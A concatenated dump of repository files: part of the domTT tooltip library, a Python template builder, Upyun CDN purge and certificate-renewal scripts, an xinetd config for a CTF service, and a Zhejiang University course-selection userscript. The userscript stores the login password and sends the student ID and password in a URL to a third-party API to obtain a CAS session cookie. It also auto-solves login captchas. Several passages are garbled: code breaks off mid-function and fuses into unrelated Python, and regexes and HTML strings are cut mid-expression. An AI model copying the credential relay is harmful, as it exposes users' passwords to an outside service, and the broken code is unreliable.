in_event.type.match(/click|mousedown|contextmenu/i)) ? 0 : parseInt(options.get('delay'))); domTT_tooltips.set(owner.id, options); domTT_tooltips.set(options.get('id'), options); options.set('status', 'pending'); options.set('activateTimeout', domLib_setTimeout(domTT_runShow, options.get('delay'), [owner.id, in_event])); return owner.id; } // }}} // {{{ domTT_create() function domTT_create(in_options) { var tipOwner = in_options.get('owner'); var parentObj = in_options.get('parent'); var parentDoc = parentObj.ownerDocument || parentObj.document; // create the tooltip and hide it // NOTE: two steps to avoid "flashing" in gecko var embryo = parentDoc.createElement('div'); var tipObj = parentObj.appendChild(embryo); tipObj.style.position = 'absolute'; tipObj.style.left = '0px'; tipObj.style.top = '0px'; tipObj.style.visibility = 'hidden'; tipObj.id = in_options.get('id'); tipObj.className = in_options.get('styleClass'); var contentBlock; var tableLayout = false; if (in_options.get('caption') || (in_options.get('type') == 'sticky' && in_options.get('caption') !== false)) { tableLayout = true; // layout the tip with a hidden formatting table var tipLayoutTable = tipObj.appendChild(parentDoc.createElement('table')); tipLayoutTable.style.borderCollapse = 'collapse'; if (domLib_isKHTML) { tipLayoutTable.cellSpacing = 0; } var tipLayoutTbody = tipLayoutTable.appendChild(parentDoc.createElement('tbody')); var numCaptionCells = 0; var captionRow = tipLayoutTbody.appendChild(parentDoc.createElement('tr')); var captionCell = captionRow.appendChild(parentDoc.createElement('td')); captionCell.style.padding = '0px'; var caption = captionCell.appendChild(parentDoc.createElement('div')); caption.className = 'caption'; if (domLib_isIE50) { caption.style.height = '100%'; } if (in_options.get('caption').nodeType) { caption.appendChild(domTT_cloneNodes ? in_options.get('caption').cloneNode(1) : in_options.get('caption')); } else { caption.innerHTML = in_options.get('caption'); } if (in_options.get('type') == 'sticky') { var numCaptionCells = 2; var closeLinkCell = captionRow.appendChild(parentDoc.createElement('td')); closeLinkCell.style.padding = '0px'; var closeLink = closeLinkCell.appendChild(parentDoc.createElement('div')); closeLink.className = 'caption'; if (domLib_isIE50) { closeLink.style.height = '100%'; } closeLink.style.textAlign = 'right'; closeLink.style.cursor = domLib_stylePointer; // merge the styles of the two cells closeLink.style.borderLeftWidth = caption.style.borderRightWidth = '0px'; closeLink.style.paddingLeft = caption.style.paddingRight = '0px'; closeLink.style.marginLeft = caption.style.marginRight = '0px'; if (in_options.get('closeLink').nodeType) { closeLink.appendChild(in_options.get('closeLink').cloneNode(1)); } else { closeLink.innerHTML = in_options.get('closeLink'); } closeLink.onclick = function() { domTT_deactivate(tipOwner.id); }; closeLink.onmousedown = function(in_event) { if (typeof(in_event) == 'undefined') { in_event = window.event; } in_event.cancelBubble = true; }; // MacIE has to have a newline at the end and must be made with createTextNode() if (domLib_isMacIE) { closeLinkCell.appendChild(parentDoc.createTextNode("\n")); } } // MacIE has to have a newline at the end and must be made with createTextNode() if (domLib_isMacIE) { captionCell.appendChild(parentDoc.createTextNode("\n")); } var contentRow = tipLayoutTbody.appendChild(parentDoc.createElement('tr')); var contentCell = contentRow.appendChild(parentDoc.createElement('td')); contentCell.style.padding = '0px'; if (numCaptionCells) { if (domLib_isIE || domLib_isOpera) { contentCell.colSpan = numCaptionCells; } else { contentCell.setAttribute('colspan', numCaptionCells); } } contentBlock = contentCell.appendChild(parentDoc.createElement('div')); if (domLib_isIE50) { contentBlock.style.height = '100%'; } } else { contentBlock = tipObj.appendChild(parentDoc.createElement('div')); } contentBlock.className = 'contents'; var content = in_options.get('content'); // allow content has a function to return the actual content if (typeof(content) == 'function') { content = content(in_options.get('id')); } if (content != null && content.nodeType) { contentBlock.appendChild(domTT_cloneNodes ? content.cloneNode(1) : content); } else { contentBlock.innerHTML = content; } // adjust the width if specified if (in_options.has('width')) { tipObj.style.width = parseInt(in_options.get('width')) + 'px'; } // check if we are overridding the maxWidth // if the browser supports maxWidth, the global setting will be ignored (assume stylesheet) var maxWidth = domTT_maxWidth; if (in_options.has('maxWidth')) { if ((maxWidth = in_options.get('maxWidth')) === false) { tipObj.style.maxWidth = domLib_styleNoMaxWidth; } else { maxWidth = parseInt(in_options.get('maxWidth')); tipObj.style.maxWidth = maxWidth + 'px'; } } // HACK: fix lack of maxWidth in CSS for KHTML and IE if (maxWidth !== false && (domLib_isIE || domLib_isKHTML) && tipObj.offsetWidth > maxWidth) { tipObj.style.width = maxWidth + 'px'; } in_options.set('offsetWidth', tipObj.offsetWidth); in_options.set('offsetHeight', tipObj.offsetHeight); // konqueror miscalcuates the width of the containing div when using the layout table based on the // border size of the containing div if (domLib_isKonq && tableLayout && !tipObj.style.width) { var left = document.defaultView.getComputedStyle(tipObj, '').getPropertyValue('border-left-width'); var right = document.defaultView.getComputedStyle(tipObj, '').getPropertyValue('border-right-width'); left = left.substring(left.indexOf(':') + 2, left.indexOf(';')); right = right.substring(right.indexOf(':') + 2, right.indexOf(';')); var correction = 2 * ((left ? parseInt(left) : 0) + (right ? parseInt(right) : 0)); tipObj.style.width = (tipObj.offsetWidth - correction) + 'px'; } // if a width is not set on an absolutely positioned object, both IE and Opera // will attempt to wrap when it spills outside of body...we cannot have that if (domLib_isIE || domLib_isOpera) { if (!tipObj.style.width) { // HACK: the correction here is for a border tipObj.style.width = (tipObj.offsetWidth - 2) + 'px'; } // HACK: the correction here is for a border tipObj.style.height = (tipObj.offsetHeight - 2) + 'px'; } // store placement offsets from event position var offsetX, offsetY; // tooltip floats if (in_options.get('position') == 'absolute' && !(in_options.has('x') && in_options.has('y'))) { // determine the offset relative to the pointer switch (in_options.get('direction')) { case 'northeast': offsetX = in_options.get('offsetX'); offsetY = 0 - tipObj.offsetHeight - in_options.get('offsetY'); break; case 'northwest': offsetX = 0 - tipObj.offsetWidth - in_options.get('offsetX'); offsetY = 0 - tipObj.offsetHeight - in_options.get('offsetY'); break; case 'north': offsetX = 0 - parseInt(tipObj.offsetWidth/2); offsetY = 0 - tipObj.offsetHeight - in_options.get('offsetY'); break; case 'southwest': offsetX = 0 - tipObj.offsetWidth - in_options.get('offsetX'); offsetY = in_options.get('offsetY'); break; case 'southeast': offsetX = in_options.get('offsetX'); offsetY = in_options.get('offsetY'); break; case 'south': offsetX = 0 - parseInt(tipObj.offsetWidth/2); offsetY = in_options.get('offsetY'); break; } // if we are in an iframe, get the offsets of the iframe in the parent document if (in_options.get('inframe')) { var iframeObj = domLib_getIFrameReference(window); if (iframeObj) { var frameOffsets = domLib_getOffsets(iframeObj); offsetX += frameOffsets.get('left'); offsetY += frameOffsets.get('top'); } } } // tooltip is fixed else { offsetX = 0; offsetY = 0; in_options.set('trail', false); } // set the direction-specific offsetX/Y in_options.set('offsetX', offsetX); in_options.set('offsetY', offsetY); if (in_options.get('clearMouse') && in_options.get('direction').indexOf('south') != -1) { in_options.set('mouseOffset', domTT_mouseHeight); } else { in_options.set('mouseOffset', 0); } if (domLib_canFade && typeof(Fadomatic) == 'function') { if (in_options.get('fade') != 'neither') { var fadeHandler = new Fadomatic(tipObj, 10, 0, 0, in_options.get('fadeMax')); in_options.set('fadeHandler', fadeHandler); } } else { in_options.set('fade', 'neither'); } // setup mouse events if (in_options.get('trail') && typeof(tipOwner.onmousemove) != 'function') { tipOwner.onmousemove = function(in_event) { domTT_mousemove(this, in_event); }; } if (typeof(tipOwner.onmouseout) != 'function') { tipOwner.onmouseout = function(in_event) { domTT_mouseout(this, in_event); }; } if (in_options.get('type') == 'sticky') { if (in_options.get('position') == 'absolute' && domTT_dragEnabled && in_options.get('draggable')) { if (domLib_isIE) { captionRow.onselectstart = function() { return false; }; } // setup drag captionRow.onmousedown = function(in_event) { domTT_dragStart(tipObj, in_event); }; captionRow.onmousemove = function(in_event) { domTT_dragUpdate(in_event); }; captionRow.onmouseup = function() { domTT_dragStop(); }; } } else if (in_options.get('type') == 'velcro') { /* can use once we have deactivateDelay tipObj.onmouseover = function(in_event) { if (typeof(in_event) == 'undefined') { in_event = window.event; } var tooltip = domTT_tooltips.get(tipObj.id); if (in_options.get('lifetime')) { domLib_clearTimeout(in_options.get('lifetimeTimeout'); } }; */ tipObj.onmouseout = function(in_event) { if (typeof(in_event) == 'undefined') { in_event = window.event; } if (!domLib_isDescendantOf(in_event[domLib_eventTo], tipObj, domTT_bannedTags)) { domTT_deactivate(tipOwner.id); } }; // NOTE: this might interfere with links in the tip tipObj.ondblclick = function(in_event) { domTT_deactivate(tipOwner.id); }; } if (in_options.get('position') == 'relative') { tipObj.style.position = 'relative'; } in_options.set('node', tipObj); in_options.set('status', 'inactive'); } // }}} // {{{ domTT_show() // in_id is either tip id or the owner id function domTT_show(in_id, in_event) { // should always find one since this call would be cancelled if tip was killed var tooltip = domTT_tooltips.get(in_id); var status = tooltip.get('status'); var tipObj = tooltip.get('node'); if (tooltip.get('position') == 'absolute') { var mouseX, mouseY; if (tooltip.has('x') && tooltip.has('y')) { mouseX = tooltip.get('x'); mouseY = tooltip.get('y'); } else if (!domTT_useGlobalMousePosition || domTT_mousePosition == null || status == 'active' || tooltip.get('delay') == 0) { var eventPosition = domLib_getEventPosition(in_event); var eventX = eventPosition.get('x'); var eventY = eventPosition.get('y'); if (tooltip.get('inframe')) { eventX -= eventPosition.get('scrollX'); eventY -= eventPosition.get('scrollY'); } // only move tip along requested trail axis when updating position if (status == 'active' && tooltip.get('trail') !== true) { var trail = tooltip.get('trail'); if (trail == 'x') { mouseX = eventX; mouseY = tooltip.get('mouseY'); } else if (trail == 'y') { mouseX = tooltip.get('mouseX'); mouseY = eventY; } } else { mouseX = eventX; mouseY = eventY; } } else { mouseX = domTT_mousePosition.get('x'); mouseY = domTT_mousePosition.get('y'); if (tooltip.get('inframe')) { mouseX -= domTT_mousePosition.get('scrollX'); mouseY -= domTT_mousePosition.get('scrollY'); } } // we are using a grid for updates if (tooltip.get('grid')) { // if this is not a mousemove event or it is a mousemove event on an active tip and // the movement is bigger than the grid if (in_event.type != 'mousemove' || (status == 'active' && (Math.abs(tooltip.get('lastX') - mouseX) > tooltip.get('grid') || Math.abs(tooltip.get('lastY') - mouseY) > tooltip.get('grid')))) { tooltip.set('lastX', mouseX); tooltip.set('lastY', mouseY); } // did not satisfy the grid movement requirement else { return false; } } // mouseX and mouseY store the last acknowleged mouse position, // good for trailing on one axis tooltip.set('mouseX', mouseX); tooltip.set('mouseY', mouseY); var coordinates; if (domTT_screenEdgeDetection) { coordinates = domTT_correctEdgeBleed( tooltip.get('offsetWidth'), tooltip.get('offsetHeight'), mouseX, mouseY, tooltip.get('offsetX'), tooltip.get('offsetY'), tooltip.get('mouseOffset'), tooltip.get('inframe') ? window.parent : window ); } else { coordinates = { 'x' : mouseX + tooltip.get('offsetX'), 'y' : mouseY + tooltip.get('offsetY') + tooltip.get('mouseOffset') }; } // update the position tipObj.style.left = coordinates.x + 'px'; tipObj.style.top = coordinates.y + 'px'; // increase the tip zIndex so it goes over previously shown tips tipObj.style.zIndex = domLib_zIndex++; } // if tip is not active, active it now and check for a fade in if (status == 'pending') { // unhide the tooltip tooltip.set('status', 'active'); tipObj.style.display = ''; tipObj.style.visibility = 'visible'; var fade = tooltip.get('fade'); if (fade != 'neither') { var fadeHandler = tooltip.get('fadeHandler'); if (fade == 'out' || fade == 'both') { fadeHandler.haltFade(); if (fade == 'out') { fadeHandler.halt(); } } if (fade == 'in' || fade == 'both') { fadeHandler.fadeIn(); } } if (tooltip.get('type') == 'greasy' && tooltip.get('lifetime') != 0) { tooltip.set('lifetimeTimeout', domLib_setTimeout(domTT_runDeactivate, tooltip.get('lifetime'), [tipObj.id])); } } if (tooltip.get('position') == 'absolute' && domTT_detectCollisions) { // utilize original collision element cache domLib_detectCollisions(tipObj, false, true); } } // }}} // {{{ domTT_close() // in_handle can either be an child object of the tip, the tip id or the owner id function domTT_close(in_handle) { var id; if (typeof(in_handle) == 'object' && in_handle.nodeType) { var obj = in_handle; while (!obj.id || !domTT_tooltips.get(obj.id)) { obj = obj.parentNode; if (obj.nodeType != document.ELEMENT_NODE) { return; } } id = obj.id; } else { id = in_handle; } domTT_deactivate(id); } // }}} // {{{ domTT_closeAll() // run through the tooltips and close them all function domTT_closeAll() { // NOTE: this will iterate 2x # of tooltips for (var id in domTT_tooltips.elementData) { domTT_close(id); } } // }}} // {{{ domTT_deactivate() // in_id is either the tip id or the owner id function domTT_deactivate(in_id) { var tooltip = domTT_tooltips.get(in_id); if (tooltip) { var status = tooltip.get('status'); if (status == 'pending') { // cancel the creation of this tip if it is still pending domLib_clearTimeout(tooltip.get('activateTimeout')); tooltip.set('status', 'inactive'); } else if (status == 'active') { if (tooltip.get('lifetime')) { domLib_clearTimeout(tooltip.get('lifetimeTimeout')); } var tipObj = tooltip.get('node'); if (tooltip.get('closeAction') == 'hide') { var fade = tooltip.get('fade'); if (fade != 'neither') { var fadeHandler = tooltip.get('fadeHandler'); if (fade == 'out' || fade == 'both') { fadeHandler.fadeOut(); } else { fadeHandler.hide(); } } else { tipObj.style.display = 'none'; } } else { tooltip.get('parent').removeChild(tipObj); domTT_tooltips.remove(tooltip.get('owner').id); domTT_tooltips.remove(tooltip.get('id')); } tooltip.set('status', 'inactive'); if (domTT_detectCollisions) { // unhide all of the selects that are owned by this object // utilize original collision element cache domLib_detectCollisions(tipObj, true, true); } } } } // }}} // {{{ domTT_mouseout() function domTT_mouseout(in_owner, in_event) { if (!domLib_useLibrary) { return false; } if (typeof(in_event) == 'undefined') { in_event = window.event; } var toChild = domLib_isDescendantOf(in_event[domLib_eventTo], in_owner, domTT_bannedTags); var tooltip = domTT_tooltips.get(in_owner.id); if (tooltip && (tooltip.get('type') == 'greasy' || tooltip.get('status') != 'active')) { // deactivate tip if exists and we moved away from the owner if (!toChild) { domTT_deactivate(in_owner.id); try { window.status = window.defaultStatus; } catch(e) {} } } else if (!toChild) { try { window.status = window.defaultStatus; } catch(e) {} } } // }}} // {{{ domTT_mousemove() function domTT_mousemove(in_owner, in_event) { if (!domLib_useLibrary) { return false; } if (typeof(in_event) == 'undefined') { in_event = window.event; } var tooltip = domTT_tooltips.get(in_owner.id); if (tooltip && tooltip.get('trail') && tooltip.get('status') == 'active') { // see if we are trailing lazy if (tooltip.get('lazy')) { domLib_setTimeout(domTT_runShow, domTT_trailDelay, [in_owner.id, in_event]); } else { domTT_show(in_owner.id, in_event); } } } // }}} // {{{ domTT_addPredefined() function domTT_addPredefined(in_id) { var options = new Hash(); for (var i = 1; i < arguments.length; i += 2) { options.set(arguments[i], arguments[i + 1]); } domTT_predefined.set(in_id, options); } // }}} // {{{ domTT_correctEdgeBleed() function domTT_correctEdgeBleed(in_width, in_height, in_x, in_y, in_offsetX, in_offsetY, in_mouseOffset, in_window) { var win, doc; var bleedRight, bleedBottom; var pageHeight, pageWidth, pageYOffset, pageXOffset; var x = in_x + in_offsetX; var y = in_y + in_offsetY + in_mouseOffset; win = (typeof(in_window) == 'undefined' ? window : in_window); // Gecko and IE swaps values of clientHeight, clientWidth properties when // in standards compliance mode from documentElement to document.body doc = ((domLib_standardsMode && (domLib_isIE || domLib_isGecko)) ? win.document.documentElement : win.document.body); // for IE in compliance mode if (domLib_isIE) { pageHeight = doc.clientHeight; pageWidth = doc.clientWidth; pageYOffset = doc.scrollTop; pageXOffset = doc.scrollLeft; } else { pageHeight = doc.clientHeight; pageWidth = doc.clientWidth; if (domLib_isKHTML) { pageHeight = win.innerHeight; } pageYOffset = win.pageYOffset; pageXOffset = win.pageXOffset; } // we are bleeding off the right, move tip over to stay on page // logic: take x position, add width and subtract from effective page width if ((bleedRight = (x - pageXOffset) + in_width - (pageWidth - domTT_screenEdgePadding)) > 0) { x -= bleedRight; } // we are bleeding to the left, move tip over to stay on page // if tip doesn't fit, we will go back to bleeding off the right // logic: take x position and check if less than edge padding if ((x - pageXOffset) < domTT_screenEdgePadding) { x = domTT_screenEdgePadding + pageXOffset; } // if we are bleeding off the bottom, flip to north // logic: take y position, add height and subtract from effective page height if ((bleedBottom = (y - pageYOffset) + in_height - (pageHeight - domTT_screenEdgePadding)) > 0) { y = in_y - in_height - in_offsetY; } // if we are bleeding off the top, flip to south // if tip doesn't fit, we will go back to bleeding off the bottom // logic: take y position and check if less than edge padding if ((y - pageYOffset) < domTT_screenEdgePadding) { y = in_y + domTT_mouseHeight + in_offsetY; } return {'x' : x, 'y' : y}; } // }}} // {{{ domTT_isActive() // in_id is either the tip id or the owner id function domTT_isActive(in_id) { var tooltip = domTT_tooltips.get(in_id); if (!tooltip || tooltip.get('status') != 'active') { return false; } else { return true; } } // }}} // {{{ domTT_runXXX() // All of these domMenu_runXXX() methods are used by the event handling sections to // avoid the circular memory leaks caused by inner functions function domTT_runDeactivate(args) { domTT_deactivate(args[0]); } function domTT_runShow(args) { domTT_show(args[0], args[1]); } // }}} // {{{ domTT_replaceTitles() function domTT_replaceTitles(in_decorator) { var elements = domLib_getElementsByClass('tooltip'); for (var i = 0; i < elements.length; i++) { if (elements[i].title) { var content; if (typeof(in_decorator) == 'function') { content = in_decorator(elements[i]); } else { content = elements[i].title; } content = content.replace(new RegExp('\'', 'g'), '\\\''); elements[i].onmouseover = new Function('in_event', "domTT_activate(this, in_event, 'content', '" + content + "')"); elements[i].title = ''; } } } // }}} // {{{ domTT_update() // Allow authors to update the contents of existing tips using the DOM // Unfortunately, the tip must already exist, or else no work is done. // TODO: make getting at content or caption cleaner function domTT_update(handle, content, type) { // type defaults to 'content', can also be 'caption' if (typeof(type) == 'undefined') { type = 'content'; } var tip = domTT_tooltips.get(handle); if (!tip) { return; } var tipObj = tip.get('node'); var updateNode; if (type == 'content') { //
... updateNode = tipObj.firstChild; if (updateNode.className != 'contents') { // ...
... updateNode = updateNode.firstChild.firstChild.nextSibling.firstChild.firstChild; } } else { updateNode = tipObj.firstChild; if (updateNode.className == 'contents') { // missing caption return; } // %s"""%(person[0], person[1], person[2]) TEMPLATE[t] = speaker_people navbardata=TEMPLATE["navbar"] for filename in os.listdir("."): if "blade.html" in filename: print(filename) targetfile = filename.replace(".blade","") templatedata = open(filename, "r", encoding="utf-8").read() newdata = templatedata for name in TEMPLATE_NAMES: if name=="navbar": # navbar class active replace TEMPLATE["navbar"] = navbardata.replace("""href="{}"s""".format(targetfile), """href="{}" class="active" s""".format(targetfile)) newdata = newdata.replace("{{"+name+"}}", TEMPLATE[name]) print(len(newdata)) newdata = re.sub("()", "", newdata, flags=re.MULTILINE) print(len(newdata)) open(targetfile, "w", encoding="utf-8").write(newdata) ================================================ FILE: code/upyun.py ================================================ import sys sys.path.append("../..") import sys, time from EasyLogin import EasyLogin a=EasyLogin(cookiefile="upyun.status") def login(username,password): global a data={"username":username,"password":password} print("Login...",end="") x=a.post_json("https://console.upyun.com/accounts/signin/",data,save=True) status=(x.get("msg",{}).get("messages",["error"])[0]=="登录成功") if status: print("Success") else: print("Login Failed") print(x) exit() return status def islogin(): global a x=a.get("https://console.upyun.com/api/",o=True) return "location" not in x.headers def purge_rule_request(urls): """ urls is multiple urls(must contain *) separated by '\n' :param urls: "\n".join([url1,url2]) """ global a x=a.post_json("https://console.upyun.com/api/buckets/purge/batch/",{"source_url": urls, "nofi": 0, "delay": 3600}) try: result = [i["status"] for i in x["data"]] except: print(x) return "Error" return result def https_domain_list(inuseonly=True, selfonly=True, detail=True): global a data = a.get("https://console.upyun.com/api/https/certificate/list/?limit=50", o=True).json()["data"]["result"] x = {} currenttime = int(time.time()) for id, item in data.items(): if id=="default": continue item["expired"] = currenttime > item["validity"]["end"]/1000 item["expiredin"] = int((item["validity"]["end"]/1000 - currenttime)/86400) if selfonly and item["brand"]!="" and not item["expired"]: continue if (inuseonly and item['config_domain']>0) or (not inuseonly): x[id] = item if detail: for id,item in x.items(): item["domains"] = a.get("https://console.upyun.com/api/https/certificate/manager/?certificate_id="+id, o=True).json()["data"]["domains"] return x def need_renew_list(): # {"domain_name": "id"} data = https_domain_list(inuseonly=True, selfonly=True, detail=True) res = {} for id, item in data.items(): if item["expiredin"]<30: for d in item["domains"]: if d.get("https", False): res[d['name']] = id return res def add_certificate(cert): global a data = a.post_json("https://console.upyun.com/api/https/certificate/", cert) assert data["data"]["status"]==0 return data["data"]["result"] def migrate_certificate(oldid, newid): global a data = a.post_json("https://console.upyun.com/api/https/migrate/certificate", {"old_crt_id":oldid, "new_crt_id":newid}) return data["data"]["result"] def renew(api_func, data): # api_func(domain_name): return {"certificate":"-----BEGIN CERTIFICATE-----\n...", "private_key":"-----BEGIN RSA PRIVATE KEY-----\n..."} # api_func can also return False handled = set() currenttime = int(time.time()) for domain, id in data.items(): if id in handled: continue cert = api_func(domain) if not cert: continue newcert_result = add_certificate(cert) newid = newcert_result["certificate_id"] print("get new cert for {commonName}, expiredin: {expiredin}, id: {newid}".format(newid=newid, commonName=newcert_result["commonName"], expiredin=int((newcert_result["validity"]["end"]/1000 - currenttime)/86400))) if migrate_certificate(id, newid): print("migrate success") handled.add(id) else: print("migrate failed") if __name__=="__main__": from pprint import pprint try: import config config.USERNAME config.PASSWORD except: print("Please write your USERNAME and PASSWORD in config.py") exit(1) if len(sys.argv)==1: print("Available subcommands:\n purge\n https") exit(1) if not islogin(): login(config.USERNAME,config.PASSWORD) if sys.argv[1] == "https": if sys.argv[2] in ["show", "list", "ls"]: pprint(https_domain_list()) elif sys.argv[2] == "expired": pprint(need_renew_list()) elif sys.argv[2] == "renew": from config import renew_api renew(renew_api, need_renew_list()) else: if sys.argv[1]!="purge": sys.argv.insert(1, "purge") # for backward compatibility if len(sys.argv)<3: print("Example: python3 upyun.py purge https://py3.io/*") print("Or you can: python3 upyun.py purge https://py3.io/@.html, @ stands for *") else: # you can pass @ instead of * urls = "\n".join(sys.argv[2:]).replace("@", "*") print(purge_rule_request(urls)) ================================================ FILE: code/upyun_purge.py ================================================ import datetime import requests import hashlib def md5(src): return hashlib.md5(bytes(src,encoding="utf-8")).hexdigest() def purge_api_request(URLS,BucketName,OperatorName,OperatorPassword): urls="\n".join(URLS) Time=datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT') sign=md5("%s&%s&%s&%s"%(urls,BucketName,Time,md5(OperatorPassword))) Auth="UpYun %s:%s:%s"%(BucketName,OperatorName,sign) headers={"Authorization":Auth,"Date":Time} #print("""curl -X POST http://purge.upyun.com/purge/ -H "Authorization: %s" -H "Date: %s" -F purge="%s" """%(Auth,Time,urls)) x=requests.post("http://purge.upyun.com/purge/",headers=headers,files={"purge":"%s"%urls}) return x.json() if __name__=="__main__": from config import * print(purge_api_request(URLS,BucketName,OperatorName,OperatorPassword)) ================================================ FILE: code/xinetd-ctf.conf ================================================ #注意/data/run要chmod +x,换行一定要去除\r service ctf { disable = no socket_type = stream protocol = tcp wait = no user = ctf bind = 0.0.0.0 server = /data/run type = UNLISTED port = 9999 killafter = 60 seccomp_whitelist = 0 1 2 3 5 9 10 11 12 13 14 16 21 23 35 56 59 97 158 202 218 231 273 } ================================================ FILE: code/zju_grs_helper.user.js ================================================ // ==UserScript== // @name ZJU研究生选课助手 // @namespace http://grs.zju.edu.cn // @version 0.9 // @description 在“全校开课情况查询”页面可以进入选课;整合查老师分数与评论显示;支持只显示特定校区课程;登录页面验证码自动识别;跳过验证码自动登录;自动课程评价 // @author zjuchenyuan // @match http://grs.zju.edu.cn/* // @match https://grs.zju.edu.cn/* // @grant GM_xmlhttpRequest // @grant GM_setValue // @grant GM_getValue // @connect * // ==/UserScript== var CONFIG_XQ=null; //配置校区 //var CONFIG_XQ = "玉泉" // 例如将上一行取消注释则表示只显示玉泉校区的课程 var bheight = unsafeWindow.bheight; var $ = unsafeWindow.$; var Path = unsafeWindow.Path; function xk(id){ //在全校开课查询页面进入选课 console.log(id); $.get("xkkcss.htm?kcbh="+id.slice(0, -3)+"&kcSearch=%E6%9F%A5%E8%AF%A2", null ,function(data){ //console.log(data); //搜索课程Id var re = /kcId=([^"]+)/g; var kcid = re.exec(data)[1]; console.log(kcid); $.dialog({ fixed:true, lock: true, max: false, width: "1050px", height: bheight, title:$.i18n.prop("Cultivation_BJCY"), content: "url:" +Path.getPath()+"xkbjxxWindow.htm?kcId="+kcid }); }); } unsafeWindow.xk = exportFunction(xk, unsafeWindow); function run(){ for(var td of document.querySelectorAll("#lssjCxdcForm > table > tbody > tr > td:nth-child(3)")){ if(!/"+id+"" } } } var teacher_cache = {}; function re_findall(regex, text){ var matches = new Array(); var match; while((match = regex.exec(text)) !== null){ matches.push(match[1]); } return matches; } function chalaoshi_search(teacher_name, callback, td){ //搜索查老师 if(typeof(teacher_cache[teacher_name])!=="undefined") return callback(td, teacher_cache[teacher_name][0], teacher_cache[teacher_name][1], teacher_cache[teacher_name][2]); console.log("chalaoshi_search", teacher_name); GM_xmlhttpRequest({ url:"https://chalaoshi.qiushi.ac.cn/search?q="+encodeURIComponent(teacher_name), method:"GET", onload: function (response){ var html = response.responseText; var ids = re_findall(/t\/(\d+)\//g, html); var scores = re_findall(/

([^<]+)<\/h2>/g, html); var names = re_findall(/

([^<]+)<\/h3>/g, html); callback(td, ids, scores, names); teacher_cache[teacher_name] = [ids, scores, names]; } }) } function chalaoshi_page_extract(div, selector){ var tmp = div.querySelector(selector); if(!tmp) return ""; return tmp.innerText.trim().replace(/ /g,""); } function show_chalaoshi_page(id){ //显示查老师信息,获取基本信息及评论第一页显示 GM_xmlhttpRequest({ url:"https://chalaoshi.qiushi.ac.cn/t/"+id+"/", method:"GET", onload: function (response){ var html = response.responseText; var div=document.createElement("div") div.innerHTML = html; var left = chalaoshi_page_extract(div, "div.left"); var right = chalaoshi_page_extract(div, "div.right"); var average_gpa = chalaoshi_page_extract(div, "div.main > div:nth-child(2) > div").replace(/\n\n/g,"\n").replace(/\n\n/g,"\n"); GM_xmlhttpRequest({ url: "https://chalaoshi.qiushi.ac.cn/teacher/"+id+"/comment_list?page=0&order_by=rate", method:"GET", onload: function (response){ var tmp = response.responseText; var html; if(tmp){ html = tmp.replace(/class="hidden"/g,"").replace(/>举报<"); }else{ html = "no comments"; } var api = frameElement.api, W = api.opener; W.$.dialog({ lock: true, max: true, parent: api, width:800 , title:null, content: "
"+left+"\n\n"+right+"\n\n"+average_gpa+"
"+html+"
", }); } }); } }) } unsafeWindow.show_chalaoshi_page = exportFunction(show_chalaoshi_page, unsafeWindow); function callback_modify_teacher_td(td, ids, scores, names){ var r = td.innerText; for(var i=0; i"+scores[i]+" "; } td.innerHTML = r; } function test_chalaoshi(){ for(var td of document.querySelectorAll("#classTable > tbody > tr > td:nth-child(3)")){ if(/40){ document.querySelector(CONFIG_CAPTCHA["CAPTCHA_INPUT"]).value= data[0]; }else{ if(CONFIG_CAPTCHA.ALLOW_RETRY>0){ img.click(); CONFIG_CAPTCHA.ALLOW_RETRY --; } } } }); document.forms[0].onsubmit=function(){ GM_setValue("xh", document.querySelector("#username").value); GM_setValue("pwd", document.querySelector("#password").value); } } function onchange(){ setTimeout(work, 100, this); } function wait(callback){ var img = document.querySelector(CONFIG_CAPTCHA["IMG_SELECTOR"]); if(img==null){ setTimeout(wait, 500, callback); }else{ img.addEventListener("click", onchange); setTimeout(callback, 100, img); } } function getXY(callback){ if(localStorage.getItem("xy")) return callback(localStorage.getItem("xy")); $.get("/gl/page/student/studentBaseTwo.htm",null,function(html){ var result = html.split("学院")[1].split("

")[0].replace('

','').replace(/ /g,'').trim(); localStorage.setItem("xy", result); callback(result); }) } function lnsjCxdc(){ var form = document.forms, i=form.length-1; for(; i>=0; i--) { if(/post/i.test(form[i].method)) form[i].action += "#method-post"; } var is_post = location.hash.indexOf("#method-post") != -1; if(!is_post){ document.querySelector("#kkxn_chzn > ul > li").insertAdjacentHTML('beforeBegin', '

  • 2018
  • '); var theyear = new Date().getFullYear(); var xueqi = 12; //秋冬学期 $("#kckkxj_chzn > a > span").text("秋冬学期"); if(new Date().getMonth()<6) { theyear--; xueqi = 11; //春夏 $("#kckkxj_chzn > a > span").text("春夏学期"); } $("[name='kkxn']")[0].insertAdjacentHTML('afterBegin', ''); $("#kckkxj>option").attr("selected",false) $("#kckkxj>option[value="+xueqi+"]").attr("selected",true); getXY(function(xy){ $("#kkyx>option").attr("selected",false); var temp=$("#kkyx>option").filter(function(){return $(this).text()==xy}); if(temp.length){ temp.attr("selected", true); $("#kkyx_chzn > a > span").text(xy); $.changePage('search') } }); } } function quicklogin(xh,password){ GM_xmlhttpRequest({ method:"GET", url:"https://m.zjuqsc.com/api/v2/jw_grs/validate?stuid="+encodeURIComponent(xh)+"&pwd="+encodeURIComponent(password)+"&from=qsc_mobile_android", responseType:"json", onload: function (response) { var data = JSON.parse(response.responseText); console.log(data); if(data.cli_cookie && data.cli_cookie.split("CASTGC=")[1]){ document.cookie = 'CASTGC=; expires=Thu, 01 Jan 1970 00:00:01 GMT;'; document.cookie = 'wsess=; expires=Thu, 01 Jan 1970 00:00:01 GMT;'; document.cookie = 'JSESSIONID=;path=/cas; expires=Thu, 01 Jan 1970 00:00:01 GMT;'; document.cookie = "CASTGC="+data.cli_cookie.split("CASTGC=")[1].split(";")[0]; console.log("quick login success for "+xh); document.querySelector("#content > div:nth-child(2) > p:nth-child(1)").innerText="[grs_helper] 自动登录成功: "+xh; document.querySelector("#content > div:nth-child(2) > blockquote > p:nth-child(1) > a").href="http://grs.zju.edu.cn/py/page/student/grkcb.htm"; //直接进入课表页面 }else{ document.querySelector("#content > div:nth-child(2) > p:nth-child(1)").innerText="[grs_helper] sorry 自动登录失败"; } } }); } (function() { 'use strict'; if(document.location.pathname=="/py/page/student/lnsjCxdc.htm") setInterval(run,1000); else if(document.location.pathname=="/py/page/student/xkbjxxWindow.htm") { for(var note of document.querySelectorAll("#classTable > tbody > tr > td:nth-child(7)")){if(/非全日制/.test(note.innerText)||/MBA/.test(note.innerText)||/MPA/.test(note.innerText)) note.parentNode.remove()} if(typeof(CONFIG_XQ)!="undefined" && CONFIG_XQ 